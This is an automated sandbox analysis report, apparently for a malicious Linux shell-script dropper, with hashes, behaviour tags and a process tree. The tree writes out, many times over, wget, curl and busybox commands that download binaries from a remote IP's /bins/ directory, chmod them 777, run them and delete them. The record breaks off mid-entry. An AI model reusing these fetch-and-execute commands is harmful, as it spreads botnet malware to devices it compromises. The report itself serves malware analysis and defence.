0d437f2af8eea1ceda3b8e42c782ca202d88740f9b9eccfa37708e340f0e458d

Analysis

max time kernel
150s
max time network
155s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
14/11/2024, 02:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
0d437f2af8eea1ceda3b8e42c782ca202d88740f9b9eccfa37708e340f0e458d.sh
Size 10KB
Sample241114-ch7a4awpdm
SHA256 0d437f2af8eea1ceda3b8e42c782ca202d88740f9b9eccfa37708e340f0e458d
MD5 24a7a6f95be9f9dd494894332a670cb5
SHA1 4b583bb37b65c493007ce8ed28f87e1900c74380
SHA512 8619cf0f4b11ed68092a5ed3e8bc63bbd19e15d714a8fbb3248458c7a4c4fa19ae5661f012a2da6d5aa2c724e69d41d0e34353fbb7781f093613135c59011ae6
SSDEEP 96:b466kNMhw0p7Z5/gM70P6KVrVHV/VeVuVziH466kNMRfw057Z5/gMHkh6ihz6XmQ:bs7Q5ixO
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 25 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
831	chmod
902	chmod
926	chmod
774	chmod
818	chmod
872	chmod
878	chmod
896	chmod
739	chmod
746	chmod
752	chmod
908	chmod
932	chmod
956	chmod
920	chmod
938	chmod
950	chmod
962	chmod
866	chmod
884	chmod
914	chmod
944	chmod
798	chmod
860	chmod
890	chmod

Executes dropped EXE 25 IoCs

Reads runtime system information 26 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 26 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP	curl
File opened for modification	/tmp/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO	curl
File opened for modification	/tmp/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN	curl
File opened for modification	/tmp/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ	curl
File opened for modification	/tmp/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y	curl
File opened for modification	/tmp/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq	curl
File opened for modification	/tmp/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO	curl
File opened for modification	/tmp/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx	curl
File opened for modification	/tmp/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq	curl
File opened for modification	/tmp/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu	curl
File opened for modification	/tmp/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx	curl
File opened for modification	/tmp/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE	curl
File opened for modification	/tmp/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP	curl
File opened for modification	/tmp/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx	curl
File opened for modification	/tmp/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o	curl
File opened for modification	/tmp/EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0	curl
File opened for modification	/tmp/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO	curl
File opened for modification	/tmp/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o	curl
File opened for modification	/tmp/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx	curl
File opened for modification	/tmp/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN	curl
File opened for modification	/tmp/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP	curl
File opened for modification	/tmp/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu	curl
File opened for modification	/tmp/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP	curl
File opened for modification	/tmp/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ	curl
File opened for modification	/tmp/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y	curl
File opened for modification	/tmp/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO	curl

/tmp/0d437f2af8eea1ceda3b8e42c782ca202d88740f9b9eccfa37708e340f0e458d.sh
/tmp/0d437f2af8eea1ceda3b8e42c782ca202d88740f9b9eccfa37708e340f0e458d.sh
1⤵
PID:709
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:715
- /usr/bin/wget
  wget http://216.126.231.240/bins/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  2⤵
  PID:717
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:726
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  2⤵
  PID:737
- /bin/chmod
  chmod 777 DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  ./DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  2⤵
  PID:741
- /usr/bin/wget
  wget http://216.126.231.240/bins/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  PID:742
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:744
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  PID:745
- /bin/chmod
  chmod 777 zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  ./zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  - Executes dropped EXE
  PID:747
- /bin/rm
  rm zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  PID:748
- /usr/bin/wget
  wget http://216.126.231.240/bins/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  PID:749
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:750
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  PID:751
- /bin/chmod
  chmod 777 YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  ./YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  - Executes dropped EXE
  PID:753
- /bin/rm
  rm YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  PID:754
- /usr/bin/wget
  wget http://216.126.231.240/bins/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  PID:755
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  PID:770
- /bin/chmod
  chmod 777 qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  ./qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  - Executes dropped EXE
  PID:776
- /bin/rm
  rm qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  PID:778
- /usr/bin/wget
  wget http://216.126.231.240/bins/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  PID:780
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:785
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  PID:792
- /bin/chmod
  chmod 777 Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  ./Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  - Executes dropped EXE
  PID:800
- /bin/rm
  rm Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  PID:802
- /usr/bin/wget
  wget http://216.126.231.240/bins/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  PID:804
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:815
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  PID:817
- /bin/chmod
  chmod 777 j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  ./j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  - Executes dropped EXE
  PID:819
- /bin/rm
  rm j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  PID:820
- /usr/bin/wget
  wget http://216.126.231.240/bins/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  PID:821
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  PID:825
- /bin/chmod
  chmod 777 6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /tmp/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  ./6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  - Executes dropped EXE
  PID:833
- /bin/rm
  rm 6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  PID:835
- /usr/bin/wget
  wget http://216.126.231.240/bins/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  PID:837
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:848
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  PID:856
- /bin/chmod
  chmod 777 tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  ./tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  PID:862
- /usr/bin/wget
  wget http://216.126.231.240/bins/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  PID:863
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  PID:865
- /bin/chmod
  chmod 777 19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  ./19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm 19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  PID:868
- /usr/bin/wget
  wget http://216.126.231.240/bins/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  PID:869
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  PID:871
- /bin/chmod
  chmod 777 UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  ./UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  PID:874
- /usr/bin/wget
  wget http://216.126.231.240/bins/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  PID:875
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  PID:877
- /bin/chmod
  chmod 777 2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  ./2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm 2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  PID:880
- /usr/bin/wget
  wget http://216.126.231.240/bins/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  PID:881
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:882
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  PID:883
- /bin/chmod
  chmod 777 NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  ./NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  - Executes dropped EXE
  PID:885
- /bin/rm
  rm NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  PID:886
- /usr/bin/wget
  wget http://216.126.231.240/bins/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  PID:887
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  PID:889
- /bin/chmod
  chmod 777 4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  ./4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm 4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  PID:892
- /usr/bin/wget
  wget http://216.126.231.240/bins/EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  2⤵
  PID:893
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:894
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  2⤵
  PID:895
- /bin/chmod
  chmod 777 EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  ./EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  2⤵
  PID:898
- /usr/bin/wget
  wget http://216.126.231.240/bins/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  PID:899
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  PID:901
- /bin/chmod
  chmod 777 zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  ./zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  PID:904
- /usr/bin/wget
  wget http://216.126.231.240/bins/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  PID:905
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  PID:907
- /bin/chmod
  chmod 777 YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  ./YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  - Executes dropped EXE
  PID:909
- /bin/rm
  rm YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  PID:910
- /usr/bin/wget
  wget http://216.126.231.240/bins/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  PID:913
- /bin/chmod
  chmod 777 qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  ./qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  PID:916
- /usr/bin/wget
  wget http://216.126.231.240/bins/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  PID:917
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  PID:919
- /bin/chmod
  chmod 777 Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  - File and Directory Permissions Modification
  PID:920
- /tmp/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  ./Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  - Executes dropped EXE
  PID:921
- /bin/rm
  rm Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  PID:922
- /usr/bin/wget
  wget http://216.126.231.240/bins/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  PID:923
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:924
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  PID:925
- /bin/chmod
  chmod 777 j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  ./j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  PID:928
- /usr/bin/wget
  wget http://216.126.231.240/bins/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  PID:929
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  PID:931
- /bin/chmod
  chmod 777 6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  ./6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm 6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  PID:934
- /usr/bin/wget
  wget http://216.126.231.240/bins/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  PID:935
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  PID:937
- /bin/chmod
  chmod 777 tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  ./tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  PID:940
- /usr/bin/wget
  wget http://216.126.231.240/bins/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  PID:941
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:942
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  PID:943
- /bin/chmod
  chmod 777 19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /tmp/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  ./19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  - Executes dropped EXE
  PID:945
- /bin/rm
  rm 19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  PID:946
- /usr/bin/wget
  wget http://216.126.231.240/bins/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  PID:947
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:948
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  PID:949
- /bin/chmod
  chmod 777 UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  ./UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  - Executes dropped EXE
  PID:951
- /bin/rm
  rm UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  PID:952
- /usr/bin/wget
  wget http://216.126.231.240/bins/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  PID:953
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:954
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  PID:955
- /bin/chmod
  chmod 777 2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  ./2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm 2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  PID:958
- /usr/bin/wget
  wget http://216.126.231.240/bins/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  PID:959
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:960
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  PID:961
- /bin/chmod
  chmod 777 NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  - File and Directory Permissions Modification
  PID:962
- /tmp/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
